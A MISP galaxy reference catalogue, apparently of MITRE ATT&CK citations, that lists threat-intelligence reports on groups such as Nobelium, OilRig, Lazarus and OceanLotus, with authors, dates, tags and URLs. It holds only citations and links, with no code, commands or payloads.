https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks

MSTIC Nobelium Oct 2021

Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="MSTIC Nobelium Oct 2021"*

Table 22174. Table References

Links
https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/

Symantec Noberus September 22 2022

Symantec Threat Hunter Team. (2022, September 22). Noberus Ransomware: Darkside and BlackMatter Successor Continues to Evolve its Tactics. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="Symantec Noberus September 22 2022"*

Table 22175. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps

new_rust_based_ransomware

Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.

The tag is: *misp-galaxy:references="new_rust_based_ransomware"*

Table 22176. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware

SentinelOne NobleBaron June 2021

Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.

The tag is: *misp-galaxy:references="SentinelOne NobleBaron June 2021"*

Table 22177. Table References

Links
https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/

NodeJS

OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="NodeJS"*

Table 22178. Table References

Links
https://nodejs.org/

Mandiant No Easy Breach

Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.

The tag is: *misp-galaxy:references="Mandiant No Easy Breach"*

Table 22179. Table References

Links
http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016

ESET PipeMon May 2020

Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.

The tag is: *misp-galaxy:references="ESET PipeMon May 2020"*

Table 22180. Table References

Links
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

nohup Linux Man

Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023.

The tag is: *misp-galaxy:references="nohup Linux Man"*

Table 22181. Table References

Links
https://linux.die.net/man/1/nohup

Unit 42 Nokki Oct 2018

Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Unit 42 Nokki Oct 2018"*

Table 22182. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

ESET Nomadic Octopus 2018

Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="ESET Nomadic Octopus 2018"*

Table 22183. Table References

Links
https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf

Malwarebytes Pony April 2016

hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.

The tag is: *misp-galaxy:references="Malwarebytes Pony April 2016"*

Table 22184. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/

Sekoia.io Blog March 1 2024

Amaury G; Maxime A; TDR Threat Detection; Research. (2024, March 1). NoName057(16)'s DDoSia project 2024 updates and behavioural shifts. Retrieved March 5, 2024.

The tag is: *misp-galaxy:references="Sekoia.io Blog March 1 2024"*

Table 22185. Table References

Links
https://blog.sekoia.io/noname05716-ddosia-project-2024-updates-and-behavioural-shifts/

SentinelOne January 12 2023

Tom Hegel. (2023, January 12). NoName057(16) - The Pro-Russian Hacktivist Group Targeting NATO. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="SentinelOne January 12 2023"*

Table 22186. Table References

Links
https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/

BleepingComputer NoName September 10 2024

Bill Toulas. (2024, September 10). NoName ransomware gang deploying RansomHub malware in recent attacks. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="BleepingComputer NoName September 10 2024"*

Table 22187. Table References

Links
https://www.bleepingcomputer.com/news/security/noname-ransomware-gang-deploying-ransomhub-malware-in-recent-attacks/

WithSecure Lazarus-NoPineapple Threat Intel Report 2023

Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023.

The tag is: *misp-galaxy:references="WithSecure Lazarus-NoPineapple Threat Intel Report 2023"*

Table 22188. Table References

Links
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf

xorrior chrome extensions macOS

Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.

The tag is: *misp-galaxy:references="xorrior chrome extensions macOS"*

Table 22189. Table References

Links
https://www.xorrior.com/No-Place-Like-Chrome/

Cybernews Yanfeng Qilin November 2023

Stefanie Schappert. (2023, November 28). North American auto supplier Yanfeng claimed by Qilin ransom group. Retrieved November 30, 2023.

The tag is: *misp-galaxy:references="Cybernews Yanfeng Qilin November 2023"*

Table 22190. Table References

Links
https://cybernews.com/news/yanfeng-ransomware-attack-claimed-qilin/

U.S. CISA Andariel July 25 2024

Cybersecurity and Infrastructure Security Agency. (2024, July 25). North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime’s Military and Nuclear Programs.

Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Andariel July 25 2024"*

Table 22191. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a

The Hacker News Lazarus Aug 2022

Lakshmanan, R. (2022, August 17). North Korea Hackers Spotted Targeting Job Seekers with macOS Malware. Retrieved April 10, 2023.

The tag is: *misp-galaxy:references="The Hacker News Lazarus Aug 2022"*

Table 22192. Table References

Links
https://thehackernews.com/2022/08/north-korea-hackers-spotted-targeting.html

Zdnet Kimsuky Group September 2020

Cimpanu, C. (2020, September 30). North Korea has tried to hack 11 officials of the UN Security Council. Retrieved November 4, 2020.

The tag is: *misp-galaxy:references="Zdnet Kimsuky Group September 2020"*

Table 22193. Table References

Links
https://www.zdnet.com/article/north-korea-has-tried-to-hack-11-officials-of-the-un-security-council/

ic3-dprk

FBI, State Department, NSA. (2024, May 2). North Korean Actors Exploit Weak DMARC Security Policies to Mask Spearphishing Efforts. Retrieved April 2, 2025.

The tag is: *misp-galaxy:references="ic3-dprk"*

Table 22194. Table References

Links
https://www.ic3.gov/CSA/2024/240502.pdf

Volexity InkySquid BLUELIGHT August 2021

Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT

InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.

The tag is: *misp-galaxy:references="Volexity InkySquid BLUELIGHT August 2021"*

Table 22195. Table References

Links
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

Talos Kimsuky Nov 2021

An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.

The tag is: *misp-galaxy:references="Talos Kimsuky Nov 2021"*

Table 22196. Table References

Links
https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html

Volexity InkySquid RokRAT August 2021

Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021.

The tag is: *misp-galaxy:references="Volexity InkySquid RokRAT August 2021"*

Table 22197. Table References

Links
https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/

The Hacker News Contagious Interview April 25 2025

Ravie Lakshmanan. (2025, April 25). North Korean Hackers Spread Malware via Fake Crypto Firms and Job Interview Lures. Retrieved May 23, 2025.

The tag is: *misp-galaxy:references="The Hacker News Contagious Interview April 25 2025"*

Table 22198. Table References

Links
https://thehackernews.com/2025/04/north-korean-hackers-spread-malware-via.html

The Hacker News Hidden Risk November 7 2024

Ravie Lakshmanan. (2024, November 7). North Korean Hackers Target Crypto Firms with Hidden Risk Malware on macOS. Retrieved May 29, 2025.

The tag is: *misp-galaxy:references="The Hacker News Hidden Risk November 7 2024"*

Table 22199. Table References

Links
https://thehackernews.com/2024/11/north-korean-hackers-target-crypto.html

The Hacker News Nickel Tapestry October 20 2024

Ravie Lakshmanan. (2024, October 20). North Korean IT Workers in Western Firms Now Demanding Ransom for Stolen Data. Retrieved May 29, 2025.

The tag is: *misp-galaxy:references="The Hacker News Nickel Tapestry October 20 2024"*

Table 22200. Table References

Links
https://thehackernews.com/2024/10/north-korean-it-workers-in-western.html

The Hacker News October 16 2024

The Hacker News. (2024, October 16). North Korean ScarCruft Exploits Windows Zero-Day to Spread RokRAT Malware. Retrieved May 5, 2025.

The tag is: *misp-galaxy:references="The Hacker News October 16 2024"*

Table 22201. Table References

Links
https://thehackernews.com/2024/10/north-korean-scarcruft-exploits-windows.html

Microsoft Security Blog August 30 2024

Microsoft Threat Intelligence; Microsoft Security Response Center. (2024, August 30). North Korean threat actor Citrine Sleet exploiting Chromium zero-day . Retrieved September 1, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog August 30 2024"*

Table 22202. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/

Lazarus APT January 2022

Saini, A. and Hossein, J. (2022, January 27). North Korea's Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.

The tag is: *misp-galaxy:references="Lazarus APT January 2022"*

Table 22203. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/

Github NoRunDll

gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.

The tag is: *misp-galaxy:references="Github NoRunDll"*

Table 22204. Table References

Links
https://github.com/gtworek/PSBits/tree/master/NoRunDll

CrowdStrike Scattered Spider SIM Swapping December 22 2022

Tim Parisi. (2022, December 22). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="CrowdStrike Scattered Spider SIM Swapping December 22 2022"*

Table 22205. Table References

Links
https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/

Crowdstrike TELCO BPO Campaign December 2022

Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.

The tag is: *misp-galaxy:references="Crowdstrike TELCO BPO Campaign December 2022"*

Table 22206. Table References

Links

https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/

Sophos Dyreza April 2015

Ducklin, P. (2015, April 20). Notes from SophosLabs: Dyreza, the malware that discriminates against old computers. Retrieved June 16, 2020.

The tag is: *misp-galaxy:references="Sophos Dyreza April 2015"*

Table 22207. Table References

Links
https://nakedsecurity.sophos.com/2015/04/20/notes-from-sophoslabs-dyreza-the-malware-that-discriminates-against-old-computers/

NIST Supply Chain 2012

Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="NIST Supply Chain 2012"*

Table 22208. Table References

Links
http://dx.doi.org/10.6028/NIST.IR.7622

eSentire FIN7 July 2021

eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels' Owner, Brown-Forman Inc.. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="eSentire FIN7 July 2021"*

Table 22209. Table References

Links
https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc

Secureworks NotPetya June 2017

Counter Threat Research Team. (2017, June 28). NotPetya Campaign: What We Know About the Latest Global Ransomware Attack. Retrieved June 11, 2020.

The tag is: *misp-galaxy:references="Secureworks NotPetya June 2017"*

Table 22210. Table References

Links
https://www.secureworks.com/blog/notpetya-campaign-what-we-know-about-the-latest-global-ransomware-attack

SensePost NotRuler

SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.

The tag is: *misp-galaxy:references="SensePost NotRuler"*

Table 22211. Table References

Links
https://github.com/sensepost/notruler

FireEye APT29 Nov 2018

Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.

The tag is: *misp-galaxy:references="FireEye APT29 Nov 2018"*

Table 22212. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html

SonicWall Nova Ransomware April 11 2025

Security News. (2025, April 11). Nova RaaS: The Ransomware That ‘Spares’ Schools and Nonprofits—For Now. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="SonicWall Nova Ransomware April 11 2025"*

Table 22213. Table References

Links
https://www.sonicwall.com/blog/nova-raas-the-ransomware-that-spares-schools-and-nonprofits-for-now

Unit 42 Cuba August 9 2022

Anthony Galiette, Daniel Bunce, Doel Santos, Shawn Westfall. (2022, August 9). Novel News on Cuba Ransomware: Greetings From Tropical Scorpius. Retrieved June 4, 2022.

The tag is: *misp-galaxy:references="Unit 42 Cuba August 9 2022"*

Table 22214. Table References

Links
https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/

kroll bpl

Dave Truman. (2024, June 24). Novel Technique Combination Used In IDATLOADER Distribution. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="kroll bpl"*

Table 22215. Table References

Links
https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution

NT API Windows

The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="NT API Windows"*

Table 22216. Table References

Links
https://undocumented.ntinternals.net/

Malicious Life by Cybereason

Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.

The tag is: *misp-galaxy:references="Malicious Life by Cybereason"*

Table 22217. Table References

Links
https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe

Now You Serial

Rahman, Alyssa. (2021, December 13). Now You Serial, Now You Don’t — Systematically Hunting for Deserialization Exploits. Retrieved November 28, 2023.

The tag is: *misp-galaxy:references="Now You Serial"*

Table 22218. Table References

Links
https://www.mandiant.com/resources/blog/hunting-deserialization-exploits

Npcap: Windows Packet Capture Library & Driver

Npcap. (n.d.). Npcap: Windows Packet Capture Library & Driver. Retrieved September 7, 2023.

The tag is: *misp-galaxy:references="Npcap: Windows Packet Capture Library & Driver"*

Table 22219. Table References

Links
https://npcap.com/

NPLogonNotify

Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="NPLogonNotify"*

Table 22220. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify

NPPSPY

Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="NPPSPY"*

Table 22221. Table References

Links
https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

ntdsutil.exe - LOLBAS Project

LOLBAS. (2020, January 10). ntdsutil.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="ntdsutil.exe - LOLBAS Project"*

Table 22222. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Ntdsutil/

Ntdsutil Microsoft

Microsoft. (2016, August 31). Ntdsutil Microsoft. Retrieved July 11, 2023.

The tag is: *misp-galaxy:references="Ntdsutil Microsoft"*

Table 22223. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)

Microsoft NTFS File Attributes Aug 2010

Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.

The tag is: *misp-galaxy:references="Microsoft NTFS File Attributes Aug 2010"*

Table 22224. Table References

Links
https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/

NtQueryInformationProcess

Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022.

The tag is: *misp-galaxy:references="NtQueryInformationProcess"*

Table 22225. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess

Sentinel Labs NullBulge 2024

Jim Walter. (2024, July 16). NullBulge | Threat Actor Masquerades as Hacktivist Group Rebelling Against AI. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Sentinel Labs NullBulge 2024"*

Table 22226. Table References

Links
https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/

AsyncRAT GitHub

Nyan-x-Cat. (n.d.). NYAN-x-CAT / AsyncRAT-C-Sharp. Retrieved October 3, 2023.

The tag is: *misp-galaxy:references="AsyncRAT GitHub"*

Table 22227. Table References

Links
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/README.md

Joe Sec Nymaim

Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.

The tag is: *misp-galaxy:references="Joe Sec Nymaim"*

Table 22228. Table References

Links
https://www.joesecurity.org/blog/3660886847485093803

OWASP Fingerprinting

OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="OWASP Fingerprinting"*

Table 22229. Table References

Links
https://wiki.owasp.org/index.php/OAT-004_Fingerprinting

OWASP Vuln Scanning

OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="OWASP Vuln Scanning"*

Table 22230. Table References

Links
https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning

SecureWorks Device Code Phishing 2021

SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth'S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.

The tag is: *misp-galaxy:references="SecureWorks Device Code Phishing 2021"*

Table 22231. Table References

Links
https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks

BlackHat API Packers

Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022.

The tag is: *misp-galaxy:references="BlackHat API Packers"*

Table 22232. Table References

Links
https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf

FireEye Obfuscation June 2017

Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.

The tag is: *misp-galaxy:references="FireEye Obfuscation June 2017"*

Table 22233. Table References

Links
https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html

objective-see 2017 review

Patrick Wardle. (n.d.). Retrieved March 20, 2018.

The tag is: *misp-galaxy:references="objective-see 2017 review"*

Table 22234. Table References

Links
https://objective-see.com/blog/blog_0x25.html

GCP Storage Lifecycles

Google Cloud. (n.d.). Object Lifecycle Management. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="GCP Storage Lifecycles"*

Table 22235. Table References

Links
https://cloud.google.com/storage/docs/lifecycle

Talos Oblique RAT March 2021

Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.

The tag is: *misp-galaxy:references="Talos Oblique RAT March 2021"*

Table 22236. Table References

Links
https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html

IBM ITG07 June 2019

McMillen, D. Sperry, C. (2019, June 14). Observations of ITG07 Cyber Operations. Retrieved May 17, 2021.

The tag is: *misp-galaxy:references="IBM ITG07 June 2019"*

Table 22237. Table References

Links
https://securityintelligence.com/posts/observations-of-itg07-cyber-operations/

Palo Alto CVE-2015-3113 July 2015

Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.

The tag is: *misp-galaxy:references="Palo Alto CVE-2015-3113 July 2015"*

Table 22238. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

Volexity OceanLotus Nov 2017

Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.

The tag is: *misp-galaxy:references="Volexity OceanLotus Nov 2017"*

Table 22239. Table References

Links
https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/

Volexity Ocean Lotus November 2020

Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.

The tag is: *misp-galaxy:references="Volexity Ocean Lotus November 2020"*

Table 22240. Table References

Links
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/

OceanLotus for OS X

Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="OceanLotus for OS X"*

Table 22241. Table References

Links
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update

ESET OceanLotus macOS April 2019

Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.

The tag is: *misp-galaxy:references="ESET OceanLotus macOS April 2019"*

Table 22242. Table References

Links

https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/

ESET OceanLotus

Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.

The tag is: *misp-galaxy:references="ESET OceanLotus"*

Table 22243. Table References

Links
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/

Okta HAR Files Incident Update

David Bradbury. (2023, November 29). October Customer Support Security Incident - Update and Recommended Actions. Retrieved December 19, 2023.

The tag is: *misp-galaxy:references="Okta HAR Files Incident Update"*

Table 22244. Table References

Links
https://sec.okta.com/harfiles

Securelist Octopus Oct 2018

Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.

The tag is: *misp-galaxy:references="Securelist Octopus Oct 2018"*

Table 22245. Table References

Links
https://securelist.com/octopus-infested-seas-of-central-asia/88200/

MSTIC Octo Tempest Operations October 2023

Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.

The tag is: *misp-galaxy:references="MSTIC Octo Tempest Operations October 2023"*

Table 22246. Table References

Links

https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/

LOLBAS Odbcconf

LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.

The tag is: *misp-galaxy:references="LOLBAS Odbcconf"*

Table 22247. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/

Microsoft odbcconf.exe

Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.

The tag is: *misp-galaxy:references="Microsoft odbcconf.exe"*

Table 22248. Table References

Links
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017

GrimBlog UsernameEnum

GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.

The tag is: *misp-galaxy:references="GrimBlog UsernameEnum"*

Table 22249. Table References

Links
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/

GitHub Office 365 User Enumeration

gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="GitHub Office 365 User Enumeration"*

Table 22250. Table References

Links
https://github.com/gremwell/o365enum

GitHub Office-Crackros Aug 2016

Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.

The tag is: *misp-galaxy:references="GitHub Office-Crackros Aug 2016"*

Table 22251. Table References

Links
https://github.com/itsreallynick/office-crackros

GlobalDotName Jun 2019

Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.

The tag is: *misp-galaxy:references="GlobalDotName Jun 2019"*

Table 22252. Table References

Links
https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique

Microsoft VBA

Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="Microsoft VBA"*

Table 22253. Table References

Links
https://docs.microsoft.com/office/vba/api/overview/

OfflineScannerShell.exe - LOLBAS Project

LOLBAS. (2021, August 16). OfflineScannerShell.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="OfflineScannerShell.exe - LOLBAS Project"*

Table 22254. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/

Bitdefender Agent Tesla April 2020

Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.

The tag is: *misp-galaxy:references="Bitdefender Agent Tesla April 2020"*

Table 22255. Table References

Links
https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/

CFR OilRig Profile

Council on Foreign Relations. (n.d.). OilRig. Retrieved September 1, 2024.

The tag is: *misp-galaxy:references="CFR OilRig Profile"*

Table 22256. Table References

Links
https://www.cfr.org/cyber-operations/oilrig

Palo Alto OilRig April 2017

Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.

The tag is: *misp-galaxy:references="Palo Alto OilRig April 2017"*

Table 22257. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/

OilRig New Delivery Oct 2017

Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.

The tag is: *misp-galaxy:references="OilRig New Delivery Oct 2017"*

Table 22258. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

Palo Alto OilRig Oct 2016

Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.

The tag is: *misp-galaxy:references="Palo Alto OilRig Oct 2016"*

Table 22259. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/

ESET OilRig Campaigns Sep 2023

Hromcova, Z. and Burgher, A. (2023, September 21). OilRig's Outer Space and Juicy Mix: Same ol' rig, new drill pipes. Retrieved November 21, 2024.

The tag is: *misp-galaxy:references="ESET OilRig Campaigns Sep 2023"*

Table 22260. Table References

Links
https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/

ESET OilRig September 21 2023

ESET Research. (2024, September 21). OilRig's Outer Space and Juicy Mix: Same ol' rig, new drill pipes. Retrieved September 3, 2024.

The tag is: *misp-galaxy:references="ESET OilRig September 21 2023"*

Table 22261. Table References

Links
https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/

ESET OilRig December 14 2023

Zuzana Hromcová, Adam Burgher. (2023, December 14). OilRig's persistent attacks using cloud service-powered downloaders. Retrieved September 1, 2024.

The tag is: *misp-galaxy:references="ESET OilRig December 14 2023"*

Table 22262. Table References

Links
https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/

ESET OilRig Downloaders DEC 2023

Hromcova, Z. and Burgher, A. (2023, December 14). OilRig's persistent attacks using cloud service-powered downloaders. Retrieved November 26, 2024.

The tag is: *misp-galaxy:references="ESET OilRig Downloaders DEC 2023"*

Table 22263. Table References

Links
https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/

Unit 42 OilRig Sept 2018

Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.

The tag is: *misp-galaxy:references="Unit 42 OilRig Sept 2018"*

Table 22264. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

Unit42 RDAT July 2020

Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020.

The tag is: *misp-galaxy:references="Unit42 RDAT July 2020"*

Table 22265. Table References

Links
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/

